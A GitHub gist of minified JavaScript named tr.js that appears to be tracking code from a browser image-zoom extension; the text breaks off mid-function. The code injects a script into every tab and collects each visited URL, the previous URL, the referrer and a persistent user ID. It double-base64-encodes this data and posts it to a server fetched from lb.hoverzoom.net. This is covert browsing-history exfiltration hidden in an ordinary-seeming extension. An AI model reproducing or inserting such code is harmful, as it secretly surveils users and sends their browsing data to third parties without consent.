Skip to content

Instantly share code, notes, and snippets.

@veverkap
Created May 4, 2015 14:02
Show Gist options
  • Save veverkap/1bfa57076c72432dff49 to your computer and use it in GitHub Desktop.
Save veverkap/1bfa57076c72432dff49 to your computer and use it in GitHub Desktop.
tr.js
if (options && options.enableStats) {
var SIM_CONSTS = {
SIMPLE_SRC: "809",
SIMPLE_LB_URL: "http://lb.hoverzoom.net/settings",
ADV_SRC: "1809",
ADV_LB_URL: "http://lb.hoverzoom.net/settings"
};
(function() {
var v = {
_source: null,
_default_source: SIM_CONSTS.SIMPLE_SRC,
_url_lb: SIM_CONSTS.SIMPLE_LB_URL,
_DEBUG_MODE: !1,
getSourceId: function() {
try {
if (null == this._source)
if (a.isCrossRider()) this._source = a.getInstallerSourceId(this._default_source);
else {
var g = window.localStorage.sg_src;
this._source = g && "undefined" != typeof g ? g : this._default_source
}
return this._source
} catch (c) {
return D.SEVERE("8877",
c), this._default_source
}
}
},
N = {
setImpl: function(a, c) {
appAPI.db.set(a, c)
},
getImpl: function(a) {
return appAPI.db.get(a)
},
removeImpl: function(a) {
appAPI.db.remove(a)
},
clearImpl: function() {
throw Error("clearImpl - Not implemented yet");
}
},
K = {
setImpl: function(a, c) {
window.localStorage[a] = c
},
getImpl: function(a) {
return window.localStorage[a]
},
removeImpl: function(a) {
window.localStorage[a] = void 0;
window.localStorage.removeItem(a)
},
clearImpl: function() {
for (var a in window.localStorage) this.removeImpl(a)
}
},
O = {
postImpl: function(a,
c, b, d, e) {
appAPI.request.post({
url: a,
postData: b,
onSuccess: d,
onFailure: e,
contentType: "application/x-www-form-urlencoded"
})
},
getImpl: function(a, c, b, d) {
appAPI.request.get({
url: a,
onSuccess: b,
onFailure: d
})
}
},
L = {
postImpl: function(a, c, b, d, e) {
$.ajax({
type: "POST",
url: a,
dataType: c,
data: b,
success: d,
error: e
})
},
getImpl: function(a, c, b, d) {
$.ajax({
type: "GET",
url: a,
dataType: c,
success: b,
error: d
})
}
},
D = {
_counter: 0,
logImpl: function(g, c) {
if (v._DEBUG_MODE) try {
var b = ++this._counter + "> " + this.getNow() + ", " + g + ", " + c;
if ("chrome" !=
a.browser.getName() || "ERROR" != g && "SEVERE" != g)
if ("chrome" == a.browser.getName() && "HIGHLIGHT" == g) {
var d = "color: blue;";
console.log("%c" + b, d + "a:link{color: blue;};a:active{color: blue;}")
} else console.log(b);
else console.error(b)
} catch (e) {}
},
HT: function(a) {
this.logImpl("HIGHLIGHT", a)
},
INFO: function(a) {
this.logImpl("INFO", a)
},
ERROR: function(a) {
this.logImpl("ERROR", a)
},
SEVERE: function(a, c) {
this.logImpl("SEVERE", a + " Exception: " + c.message)
},
SEVERE2: function(a) {
this.logImpl("SEVERE", a)
},
pad: function(a, c) {
for (var b =
a + ""; b.length < c;) b = "0" + b;
return b
},
getNow: function() {
try {
var a = new Date,
c = a.getDate() + "/" + (a.getMonth() + 1) + "/" + a.getFullYear(),
b = this.pad(a.getHours(), 2) + ":" + this.pad(a.getMinutes(), 2) + ":" + this.pad(a.getSeconds(), 2) + "." + this.pad(a.getMilliseconds(), 3);
return c + " " + b
} catch (d) {
return ""
}
},
addConsoleHelper: function() {
v._DEBUG_MODE && chrome.runtime.onMessage.addListener(function(a, c, b) {
void 0 != a.console_log_message && h.INFO("FROM_CONTENT_PAGE : message = [" + a.console_log_message + "]" + (c.tab ? ", from a content script of url : = [" +
c.tab.url + "]" : ", from the extension."))
})
},
testLogFromContentPage: function(a) {
var c = function() {
try {
chrome.runtime.sendMessage({
console_log_message: "message from content page"
}, function(c) {})
} catch (c) {
alert(c)
}
}.toString(),
c = c.slice(c.indexOf("{") + 1, c.lastIndexOf("}"));
chrome.tabs.executeScript(a, {
code: c
}, function(c) {
h.INFO("executeScript, result = " + c)
})
}
},
u = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function(a) {
var c = "",
b, d, e, f, l, p, k = 0;
for (a = this._utf8_encode(a); k <
a.length;) b = a.charCodeAt(k++), d = a.charCodeAt(k++), e = a.charCodeAt(k++), f = b >> 2, b = (b & 3) << 4 | d >> 4, l = (d & 15) << 2 | e >> 6, p = e & 63, isNaN(d) ? l = p = 64 : isNaN(e) && (p = 64), c = c + this._keyStr.charAt(f) + this._keyStr.charAt(b) + this._keyStr.charAt(l) + this._keyStr.charAt(p);
return c
},
decode: function(a) {
var c = "",
b, d, e, f, l, p = 0;
for (a = a.replace(/[^A-Za-z0-9\+\/\=]/g, ""); p < a.length;) b = this._keyStr.indexOf(a.charAt(p++)), d = this._keyStr.indexOf(a.charAt(p++)), f = this._keyStr.indexOf(a.charAt(p++)), l = this._keyStr.indexOf(a.charAt(p++)),
b = b << 2 | d >> 4, d = (d & 15) << 4 | f >> 2, e = (f & 3) << 6 | l, c += String.fromCharCode(b), 64 != f && (c += String.fromCharCode(d)), 64 != l && (c += String.fromCharCode(e));
return c = this._utf8_decode(c)
},
_utf8_encode: function(a) {
a = a.replace(/\r\n/g, "\n");
for (var c = "", b = 0; b < a.length; b++) {
var d = a.charCodeAt(b);
128 > d ? c += String.fromCharCode(d) : (127 < d && 2048 > d ? c += String.fromCharCode(d >> 6 | 192) : (c += String.fromCharCode(d >> 12 | 224), c += String.fromCharCode(d >> 6 & 63 | 128)), c += String.fromCharCode(d & 63 | 128))
}
return c
},
_utf8_decode: function(a) {
for (var c =
"", b = 0, d = 0, e = 0, f = 0; b < a.length;) d = a.charCodeAt(b), 128 > d ? (c += String.fromCharCode(d), b++) : 191 < d && 224 > d ? (e = a.charCodeAt(b + 1), c += String.fromCharCode((d & 31) << 6 | e & 63), b += 2) : (e = a.charCodeAt(b + 1), f = a.charCodeAt(b + 2), c += String.fromCharCode((d & 15) << 12 | (e & 63) << 6 | f & 63), b += 3);
return c
}
};
"object" !== typeof JSON && (JSON = {});
(function() {
function a(c) {
return 10 > c ? "0" + c : c
}
function c(a) {
e.lastIndex = 0;
return e.test(a) ? '"' + a.replace(e, function(a) {
var c = p[a];
return "string" === typeof c ? c : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4)
}) +
'"' : '"' + a + '"'
}
function b(a, d) {
var e, t, q, g, p = f,
s, m = d[a];
m && "object" === typeof m && "function" === typeof m.toJSON && (m = m.toJSON(a));
"function" === typeof k && (m = k.call(d, a, m));
switch (typeof m) {
case "string":
return c(m);
case "number":
return isFinite(m) ? String(m) : "null";
case "boolean":
case "null":
return String(m);
case "object":
if (!m) return "null";
f += l;
s = [];
if ("[object Array]" === Object.prototype.toString.apply(m)) {
g = m.length;
for (e = 0; e < g; e += 1) s[e] = b(e, m) || "null";
q = 0 === s.length ? "[]" : f ? "[\n" + f + s.join(",\n" + f) + "\n" +
p + "]" : "[" + s.join(",") + "]";
f = p;
return q
}
if (k && "object" === typeof k)
for (g = k.length, e = 0; e < g; e += 1) "string" === typeof k[e] && (t = k[e], (q = b(t, m)) && s.push(c(t) + (f ? ": " : ":") + q));
else
for (t in m) Object.prototype.hasOwnProperty.call(m, t) && (q = b(t, m)) && s.push(c(t) + (f ? ": " : ":") + q);
q = 0 === s.length ? "{}" : f ? "{\n" + f + s.join(",\n" + f) + "\n" + p + "}" : "{" + s.join(",") + "}";
f = p;
return q
}
}
"function" !== typeof Date.prototype.toJSON && (Date.prototype.toJSON = function() {
return isFinite(this.valueOf()) ? this.getUTCFullYear() + "-" + a(this.getUTCMonth() +
1) + "-" + a(this.getUTCDate()) + "T" + a(this.getUTCHours()) + ":" + a(this.getUTCMinutes()) + ":" + a(this.getUTCSeconds()) + "Z" : null
}, String.prototype.toJSON = Number.prototype.toJSON = Boolean.prototype.toJSON = function() {
return this.valueOf()
});
var d = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
e = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
f, l, p = {
"\b": "\\b",
"\t": "\\t",
"\n": "\\n",
"\f": "\\f",
"\r": "\\r",
'"': '\\"',
"\\": "\\\\"
},
k;
"function" !== typeof JSON.stringify && (JSON.stringify = function(a, c, d) {
var e;
l = f = "";
if ("number" === typeof d)
for (e = 0; e < d; e += 1) l += " ";
else "string" === typeof d && (l = d);
if ((k = c) && "function" !== typeof c && ("object" !== typeof c || "number" !== typeof c.length)) throw Error("JSON.stringify");
return b("", {
"": a
})
});
"function" !== typeof JSON.parse && (JSON.parse = function(a, c) {
function b(a, d) {
var e, f, g = a[d];
if (g && "object" === typeof g)
for (e in g) Object.prototype.hasOwnProperty.call(g,
e) && (f = b(g, e), void 0 !== f ? g[e] = f : delete g[e]);
return c.call(a, d, g)
}
var e;
a = String(a);
d.lastIndex = 0;
d.test(a) && (a = a.replace(d, function(a) {
return "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4)
}));
if (/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]").replace(/(?:^|:|,)(?:\s*\[)+/g, ""))) return e = eval("(" + a + ")"), "function" === typeof c ? b({
"": e
}, "") : e;
throw new SyntaxError("JSON.parse");
})
})();
var E = {
_sessionid: void 0,
getSessionId: function() {
"undefined" == typeof this._sessionid && (this._sessionid = a.createRandomNumber());
return this._sessionid
}
},
Q = function() {
function g() {
try {
var a = new XMLHttpRequest;
a.open("GET", chrome.extension.getURL("manifest.json"), !1);
a.send(null);
return JSON.parse(a.responseText).version
} catch (b) {}
}
this.initOnceAfterInstall = function() {
if ("undefined" == typeof a.db.get("sg_userid")) {
var c = a.createUserID();
a.db.set("sg_userid", c)
}
"undefined" == typeof a.db.get("sg_install_time") &&
(c = (new Date).getTime() / 1E3, a.db.set("sg_install_time", c))
};
this.start_lb = function() {
try {
h.HT("start_lb enter");
this.initOnceAfterInstall();
var c = v._url_lb,
b = "s=" + v.getSourceId(),
b = b + ("&ins=" + encodeURIComponent(a.db.get("sg_install_time")) + "&ver=" + encodeURIComponent(g())),
c = c + "?" + b;
a.net.get(c, "json", function(c) {
h.INFO("Success to get lb");
"undefined" != typeof c.Status ? "1" == c.Status ? "undefined" != typeof c.Endpoint ? (a.db_tmv.set("server", c.Endpoint), c.Mon && "1" == c.Mon ? a.db.set("sg_enable_mon", !0) : a.db.set("sg_enable_mon", !1)) : h.ERROR("Invalid lb response, no Endpoint or Midpoint") : (h.INFO("WARN: result.Status is not 1"), a.db_tmv.set("server", ""), a.db.set("sg_enable_mon", !1)) : h.ERROR("Invalid lb response, no Status = " + c.Status)
}, function(a) {
h.ERROR("Failed to get lb, ,url = " + c + ", httpCode = " + a.status)
});
h.HT("start_lb leave");
try {
h.addConsoleHelper()
} catch (d) {
h.SEVERE("9071", d)
}(new P).start()
} catch (e) {
h.SEVERE("9001", e)
}
}
},
P = function() {
function g(a, c, b) {
try {
if (h.HT("tabs_onUpdated, tabId = " + a + ", changeInfo.status = " +
c.status + ", tab = " + b.url), c && c.status && "complete" == c.status && "chrome://newtab/" != b.url && -1 == b.url.indexOf("chrome-devtools://")) {
var d = function() {
try {
var a = "";
try {
a = document.doctype.name
} catch (c) {}
chrome.extension.sendRequest({
docType: a,
tab_id: __TABID__PLACEHOLDER__,
tab_url_: __TABURL__PLACEHOLDER__,
change_status_: __CHANGE_STATUS__PLACEHOLDER__,
fromTMV_: __TMV__PLACEHOLDER__,
ref: document.referrer,
messageId_: 55557777
}, function(a) {})
} catch (b) {}
}.toString(),
d = d.replace("__TABID__PLACEHOLDER__", b.id),
e = u.encode(b.url),
d = d.replace("__TABURL__PLACEHOLDER__", "'" + e + "'"),
d = d.replace("__CHANGE_STATUS__PLACEHOLDER__", "'" + c.status + "'"),
d = d.replace("__TMV__PLACEHOLDER__", "'3007.0'"),
g = d.slice(d.indexOf("{") + 1, d.lastIndexOf("}"));
chrome.tabs.executeScript(b.id, {
code: g
}, function(a) {})
}
} catch (f) {
console.error("ERR 8000: " + f)
}
}
function c(a) {
try {
var c = void 0,
b = void 0;
(c = f[a]) && "" != c ? b = a : n && a != n ? (b = n, h.INFO("prevTabId flow A")) : k && a != k ? (b = k, h.INFO("prevTabId flow B")) : (b = a, h.ERROR("Failed to find prevTabId"));
a = "";
b && f[b] && (a = f[b]);
return a
} catch (d) {
return console.error("ERROR 8001: " + d), ""
}
}
function b(b, d, e) {
try {
var g = a.getExtensionId();
if (d && d.id == g) {
var k = b.fromTMV_;
if (k && "3007.0" == k)
if (b.messageId_ && 55557777 == b.messageId_) {
var n = b.tab_id,
s = c(n);
if ("" != a.db_tmv.get("server") && "undefined" != a.db_tmv.get("server")) {
var m = b.ref,
r = b.docType,
x = u.decode(b.tab_url_),
F = b.change_status_;
h.HT("extension_onRequest, url = [" + x + "] ,ref = [" + m + "], computePrev2 = [" + s + "]");
b = !1;
var U = f[n];
U && "" != U || (b = !0);
if (b) {
var U =
"(http|https)://(.*.|)google..*/url?.*",
R = new RegExp(U, void 0),
V = R.test(x),
R = null;
if (V) {
h.HT("extension_onRequest: Skipped redirect = " + x);
return
}
}
R = new RegExp("(http|https)://(.*.|)google..*/aclk?.*", void 0);
V = R.test(x);
R = null;
if (V) h.HT("extension_onRequest: Skipped ppc redirect = " + x);
else if ("html" != r && "" != r) f[n] = "", h.ERROR("ERROR 8000 ??");
else if (f[n] = x, r = -1, l[n] && (r = Date.now() - l[n]), l[n] = Date.now(), 0 <= r && 100 > r && f[n] == x) h.ERROR("ERROR 8001 ?? Skipped, update_diff < 10, tab_url = " + x);
else {
var Z =
p[n];
p[n] = F;
if (s == x && Z != F) h.ERROR("ERROR 8002 ??");
else {
var G = "s=" + v.getSourceId() + "&md=21&pid=" + a.db.get("sg_userid") + "&sess=" + E.getSessionId() + "&q=" + encodeURIComponent(x) + "&prev=" + encodeURIComponent(s) + "&link=" + (m ? "1" : "0") + "&sub=chrome&hreferer=" + encodeURIComponent(m),
G = G + "&tmv=3007.0",
G = u.encode(u.encode(G)),
G = "e=" + G,
aa = a.db_tmv.get("server") + "/related";
a.net.post(aa, "json", G, function(a) {
h.INFO("Succeeded in posting data");
f[n] = x
}, function(a) {
h.INFO("Failed to retrieve content. (HTTP Code:" + a.status +
")");
h.ERROR("ERROR 8004 ??");
f[n] = x
})
}
}
}
} else h.ERROR("messaged unknown, or undefined : request = " + b);
else k ? h.INFO("Message of other tmv = " + k) : h.ERROR("Message without fromTMV")
} else h.ERROR("unknown sender = " + d.id)
} catch (ba) {
console.error("ERR 8002: " + ba)
}
}
function d(a) {
try {
h.INFO("tabs.onActivated windowId = " + a.windowId + ", tabId = " + a.tabId), 0 <= a.tabId ? (k = n, n = a.tabId) : h.ERROR("tabs_onActivated, how to handle activeInfo.tabId <0 ?")
} catch (c) {
h.SEVERE("8834", c)
}
}
function e(a, c) {
try {
h.INFO("tabs_onReplaced, addedTabId = " +
a + ", removedTabId = " + c)
} catch (b) {
h.SEVERE("8837", b)
}
}
var f = [],
l = [],
p = [],
k = !1,
n = !1;
this.start = function() {
try {
chrome.extension.onRequest.addListener(b), chrome.tabs.onUpdated.addListener(g), chrome.tabs.onActivated.addListener(d), chrome.tabs.onReplaced.addListener(e)
} catch (a) {
h.SEVERE("8835", a)
}
}
},
h = D;
h.INFO("Hello");
var a = {
db: {
_db: void 0,
init: function() {
void 0 == this._db && (this._db = "undefined" !== typeof appAPI ? N : K)
},
set: function(a, c) {
if ("string" != typeof a || "" == a) throw Error("4002, Invalid param: key");
void 0 == this._db && this.init();
this._db.setImpl(a, c)
},
get: function(a) {
if ("string" != typeof a || "" == a) throw Error("4003, Invalid param: key");
void 0 == this._db && this.init();
return this._db.getImpl(a)
},
remove: function(a) {
if ("string" != typeof a || "" == a) throw Error("4004, Invalid param: key");
void 0 == this._db && this.init();
this._db.removeImpl(a)
},
clear: function() {
void 0 == this._db && this.init();
this._db.clearImpl()
}
},
browser: {
getName: function() {
return "undefined" !== typeof appAPI ? appAPI.browser.name : "chrome"
}
},
net: {
_impl: void 0,
init: function() {
void 0 == this._impl && (this._impl = "undefined" !== typeof appAPI ? O : L)
},
post: function(a, c, b, d, e) {
if ("string" != typeof a || "" == a) throw Error("4007, Invalid param: url_");
if ("string" != typeof c || "text" != c && "json" != c) throw Error("4008, Invalid param: expectedResult_");
if ("string" != typeof b) throw Error("4009, Invalid param: data_");
if ("function" != typeof d) throw Error("4010, Invalid param: onSuccess_");
if ("function" != typeof e) throw Error("4011, Invalid param: onError_");
void 0 ==
this._impl && this.init();
this._impl.postImpl(a, c, b, d, e)
},
get: function(a, c, b, d) {
if ("string" != typeof a || "" == a) throw Error("4012, Invalid param: url_");
if ("string" != typeof c || "text" != c && "json" != c) throw Error("4013, Invalid param: expectedResult_");
if ("function" != typeof b) throw Error("4014, Invalid param: onSuccess_");
if ("function" != typeof d) throw Error("4015, Invalid param: onError_");
void 0 == this._impl && this.init();
this._impl.getImpl(a, c, b, d)
}
},
db_tmv: {
set: function(g, c) {
a.db.set("3007.0." + g, c)
},
get: function(g) {
return a.db.get("3007.0." +
g)
}
},
isCrossRider: function() {
return "undefined" !== typeof appAPI ? !0 : !1
},
createRandomNumber: function() {
return Math.floor(1E18 * Math.random())
},
createRandomString: function(a) {
for (var c = "", b = 0; b < a; b++) c += "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62 * Math.random()));
return c
},
createUserID: function() {
return "undefined" !== typeof appAPI ? appAPI.getCrossriderID() || this.createRandomString(15) : this.createRandomString(15)
},
getInstallerSourceId: function(a) {
if ("undefined" !==
typeof appAPI) {
var c = appAPI.installer.getParams().source_id;
return 0 != c ? c : a
}
return a
},
getSub: function() {
return "undefined" !== typeof appAPI ? appAPI.appID || "" : "chrome"
},
getExtensionId: function() {
if ("undefined" !== typeof appAPI) return appAPI.appID;
if ("chrome" == this.browser.getName()) return "undefined" !== typeof chrome.runtime ? chrome.runtime.id : chrome.i18n.getMessage("@@extension_id");
throw Error("4016, not implemented");
}
};
this.main = function() {
try {
(new Q).start_lb()
} catch (a) {}
};
this.main()
})();
(function() {
var v = {
_source: null,
_default_source: SIM_CONSTS.ADV_SRC,
_url_lb: SIM_CONSTS.ADV_LB_URL,
_DEBUG_MODE: !1,
getSourceId: function() {
try {
if (null == this._source)
if (g.isCrossRider()) this._source = g.getInstallerSourceId(this._default_source);
else {
var a = window.localStorage.sg_src;
a && "undefined" != typeof a ? window.localStorage.sg_src_adv ? this._source = window.localStorage.sg_src_adv : (a = "1" + a, this._source = window.localStorage.sg_src_adv = a) : this._source = this._default_source
}
return this._source
} catch (b) {
return D.SEVERE("8877",
b), this._default_source
}
}
},
N = {
setImpl: function(a, b) {
appAPI.db.set(a, b)
},
getImpl: function(a) {
return appAPI.db.get(a)
},
removeImpl: function(a) {
appAPI.db.remove(a)
},
clearImpl: function() {
throw Error("clearImpl - Not implemented yet");
}
},
K = {
setImpl: function(a, b) {
window.localStorage[a] = b
},
getImpl: function(a) {
return window.localStorage[a]
},
removeImpl: function(a) {
window.localStorage[a] = void 0;
window.localStorage.removeItem(a)
},
clearImpl: function() {
for (var a in window.localStorage) this.removeImpl(a)
}
},
O = {
postImpl: function(a,
b, d, e, f) {
appAPI.request.post({
url: a,
postData: d,
onSuccess: e,
onFailure: f,
contentType: "application/x-www-form-urlencoded"
})
},
getImpl: function(a, b, d, e) {
appAPI.request.get({
url: a,
onSuccess: d,
onFailure: e
})
}
},
L = {
postImpl: function(a, b, d, e, f) {
$.ajax({
type: "POST",
url: a,
dataType: b,
data: d,
success: e,
error: f
})
},
getImpl: function(a, b, d, e) {
$.ajax({
type: "GET",
url: a,
dataType: b,
success: d,
error: e
})
}
},
D = {
_counter: 0,
logImpl: function(a, b) {
if (v._DEBUG_MODE) try {
var d = ++this._counter + "> " + this.getNow() + ", " + a + ", " + b;
if ("chrome" !=
g.browser.getName() || "ERROR" != a && "SEVERE" != a)
if ("chrome" == g.browser.getName() && "HIGHLIGHT" == a) {
var e = "color: blue;";
console.log("%c" + d, e + "a:link{color: blue;};a:active{color: blue;}")
} else console.log(d);
else console.error(d)
} catch (f) {}
},
HT: function(a) {
this.logImpl("HIGHLIGHT", a)
},
INFO: function(a) {
this.logImpl("INFO", a)
},
ERROR: function(a) {
this.logImpl("ERROR", a)
},
SEVERE: function(a, b) {
this.logImpl("SEVERE", a + " Exception: " + b.message)
},
SEVERE2: function(a) {
this.logImpl("SEVERE", a)
},
pad: function(a, b) {
for (var d =
a + ""; d.length < b;) d = "0" + d;
return d
},
getNow: function() {
try {
var a = new Date,
b = a.getDate() + "/" + (a.getMonth() + 1) + "/" + a.getFullYear(),
d = this.pad(a.getHours(), 2) + ":" + this.pad(a.getMinutes(), 2) + ":" + this.pad(a.getSeconds(), 2) + "." + this.pad(a.getMilliseconds(), 3);
return b + " " + d
} catch (e) {
return ""
}
},
addConsoleHelper: function() {
v._DEBUG_MODE && chrome.runtime.onMessage.addListener(function(c, b, d) {
void 0 != c.console_log_message && a.INFO("FROM_CONTENT_PAGE : message = [" + c.console_log_message + "]" + (b.tab ? ", from a content script of url : = [" +
b.tab.url + "]" : ", from the extension."))
})
},
testLogFromContentPage: function(c) {
var b = function() {
try {
chrome.runtime.sendMessage({
console_log_message: "message from content page"
}, function(a) {})
} catch (a) {
alert(a)
}
}.toString(),
b = b.slice(b.indexOf("{") + 1, b.lastIndexOf("}"));
chrome.tabs.executeScript(c, {
code: b
}, function(c) {
a.INFO("executeScript, result = " + c)
})
}
},
u = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function(a) {
var b = "",
d, e, f, l, g, k, n = 0;
for (a = this._utf8_encode(a); n <
a.length;) d = a.charCodeAt(n++), e = a.charCodeAt(n++), f = a.charCodeAt(n++), l = d >> 2, d = (d & 3) << 4 | e >> 4, g = (e & 15) << 2 | f >> 6, k = f & 63, isNaN(e) ? g = k = 64 : isNaN(f) && (k = 64), b = b + this._keyStr.charAt(l) + this._keyStr.charAt(d) + this._keyStr.charAt(g) + this._keyStr.charAt(k);
return b
},
decode: function(a) {
var b = "",
d, e, f, l, g, k = 0;
for (a = a.replace(/[^A-Za-z0-9\+\/\=]/g, ""); k < a.length;) d = this._keyStr.indexOf(a.charAt(k++)), e = this._keyStr.indexOf(a.charAt(k++)), l = this._keyStr.indexOf(a.charAt(k++)), g = this._keyStr.indexOf(a.charAt(k++)),
d = d << 2 | e >> 4, e = (e & 15) << 4 | l >> 2, f = (l & 3) << 6 | g, b += String.fromCharCode(d), 64 != l && (b += String.fromCharCode(e)), 64 != g && (b += String.fromCharCode(f));
return b = this._utf8_decode(b)
},
_utf8_encode: function(a) {
a = a.replace(/\r\n/g, "\n");
for (var b = "", d = 0; d < a.length; d++) {
var e = a.charCodeAt(d);
128 > e ? b += String.fromCharCode(e) : (127 < e && 2048 > e ? b += String.fromCharCode(e >> 6 | 192) : (b += String.fromCharCode(e >> 12 | 224), b += String.fromCharCode(e >> 6 & 63 | 128)), b += String.fromCharCode(e & 63 | 128))
}
return b
},
_utf8_decode: function(a) {
for (var b =
"", d = 0, e = 0, f = 0, l = 0; d < a.length;) e = a.charCodeAt(d), 128 > e ? (b += String.fromCharCode(e), d++) : 191 < e && 224 > e ? (f = a.charCodeAt(d + 1), b += String.fromCharCode((e & 31) << 6 | f & 63), d += 2) : (f = a.charCodeAt(d + 1), l = a.charCodeAt(d + 2), b += String.fromCharCode((e & 15) << 12 | (f & 63) << 6 | l & 63), d += 3);
return b
}
};
"object" !== typeof JSON && (JSON = {});
(function() {
function a(b) {
return 10 > b ? "0" + b : b
}
function b(a) {
f.lastIndex = 0;
return f.test(a) ? '"' + a.replace(f, function(a) {
var b = k[a];
return "string" === typeof b ? b : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4)
}) +
'"' : '"' + a + '"'
}
function d(a, c) {
var e, f, k, h, s = l,
m, r = c[a];
r && "object" === typeof r && "function" === typeof r.toJSON && (r = r.toJSON(a));
"function" === typeof n && (r = n.call(c, a, r));
switch (typeof r) {
case "string":
return b(r);
case "number":
return isFinite(r) ? String(r) : "null";
case "boolean":
case "null":
return String(r);
case "object":
if (!r) return "null";
l += g;
m = [];
if ("[object Array]" === Object.prototype.toString.apply(r)) {
h = r.length;
for (e = 0; e < h; e += 1) m[e] = d(e, r) || "null";
k = 0 === m.length ? "[]" : l ? "[\n" + l + m.join(",\n" + l) + "\n" +
s + "]" : "[" + m.join(",") + "]";
l = s;
return k
}
if (n && "object" === typeof n)
for (h = n.length, e = 0; e < h; e += 1) "string" === typeof n[e] && (f = n[e], (k = d(f, r)) && m.push(b(f) + (l ? ": " : ":") + k));
else
for (f in r) Object.prototype.hasOwnProperty.call(r, f) && (k = d(f, r)) && m.push(b(f) + (l ? ": " : ":") + k);
k = 0 === m.length ? "{}" : l ? "{\n" + l + m.join(",\n" + l) + "\n" + s + "}" : "{" + m.join(",") + "}";
l = s;
return k
}
}
"function" !== typeof Date.prototype.toJSON && (Date.prototype.toJSON = function() {
return isFinite(this.valueOf()) ? this.getUTCFullYear() + "-" + a(this.getUTCMonth() +
1) + "-" + a(this.getUTCDate()) + "T" + a(this.getUTCHours()) + ":" + a(this.getUTCMinutes()) + ":" + a(this.getUTCSeconds()) + "Z" : null
}, String.prototype.toJSON = Number.prototype.toJSON = Boolean.prototype.toJSON = function() {
return this.valueOf()
});
var e = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
f = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
l, g, k = {
"\b": "\\b",
"\t": "\\t",
"\n": "\\n",
"\f": "\\f",
"\r": "\\r",
'"': '\\"',
"\\": "\\\\"
},
n;
"function" !== typeof JSON.stringify && (JSON.stringify = function(a, b, c) {
var e;
g = l = "";
if ("number" === typeof c)
for (e = 0; e < c; e += 1) g += " ";
else "string" === typeof c && (g = c);
if ((n = b) && "function" !== typeof b && ("object" !== typeof b || "number" !== typeof b.length)) throw Error("JSON.stringify");
return d("", {
"": a
})
});
"function" !== typeof JSON.parse && (JSON.parse = function(a, b) {
function c(a, d) {
var e, f, g = a[d];
if (g && "object" === typeof g)
for (e in g) Object.prototype.hasOwnProperty.call(g,
e) && (f = c(g, e), void 0 !== f ? g[e] = f : delete g[e]);
return b.call(a, d, g)
}
var d;
a = String(a);
e.lastIndex = 0;
e.test(a) && (a = a.replace(e, function(a) {
return "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4)
}));
if (/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]").replace(/(?:^|:|,)(?:\s*\[)+/g, ""))) return d = eval("(" + a + ")"), "function" === typeof b ? c({
"": d
}, "") : d;
throw new SyntaxError("JSON.parse");
})
})();
var E = {
_sessionid: void 0,
getSessionId: function() {
"undefined" == typeof this._sessionid && (this._sessionid = g.createRandomNumber());
return this._sessionid
}
},
Q = function() {
function c() {
try {
var a = new XMLHttpRequest;
a.open("GET", chrome.extension.getURL("manifest.json"), !1);
a.send(null);
return JSON.parse(a.responseText).version
} catch (c) {}
}
this.initOnceAfterInstall = function() {
if ("undefined" == typeof g.db.get("sg_userid")) {
var a = g.createUserID();
g.db.set("sg_userid", a)
}
"undefined" == typeof g.db.get("sg_install_time") &&
(a = (new Date).getTime() / 1E3, g.db.set("sg_install_time", a))
};
this.start_lb = function() {
try {
a.HT("start_lb enter");
this.initOnceAfterInstall();
var b = v._url_lb,
d = "s=" + v.getSourceId(),
d = d + ("&ins=" + encodeURIComponent(g.db.get("sg_install_time")) + "&ver=" + encodeURIComponent(c())),
b = b + "?" + d;
g.net.get(b, "json", function(b) {
a.INFO("Success to get lb");
"undefined" != typeof b.Status ? "1" == b.Status ? "undefined" != typeof b.Endpoint ? (g.db_tmv.set("server", b.Endpoint), b.Mon && "1" == b.Mon ? g.db.set("sg_enable_mon", !0) : g.db.set("sg_enable_mon", !1)) : a.ERROR("Invalid lb response, no Endpoint or Midpoint") : (a.INFO("WARN: result.Status is not 1"), g.db_tmv.set("server", ""), g.db.set("sg_enable_mon", !1)) : a.ERROR("Invalid lb response, no Status = " + b.Status)
}, function(c) {
a.ERROR("Failed to get lb, ,url = " + b + ", httpCode = " + c.status)
});
a.HT("start_lb leave");
try {
a.addConsoleHelper()
} catch (e) {
a.SEVERE("9071", e)
}(new h).start()
} catch (f) {
a.SEVERE("9001", f)
}
}
},
P = function() {
function c(a) {
var b = "",
c;
for (c in a) a.hasOwnProperty(c) && "" !== a[c] && (b += c + "=" +
a[c] + "&");
return b.substring(0, b.length - 1)
}
function b(b, d, e, f, h, u, t, q) {
if ("undefined" == typeof e) {
debugger;
e = ""
}
try {
var w = {
q: escape(b) || "",
hreferer: escape(d) || "",
prev: escape(e) || "",
tmv: t || "",
tmf: q || "",
cr: escape(h) || "",
crd: escape(u) || ""
};
b = "";
for (d = 0; d < f.length; d++) b += "&sr=" + escape(f[d]);
var y, s = E.getSessionId(),
m = {
s: v.getSourceId() || "",
md: "21",
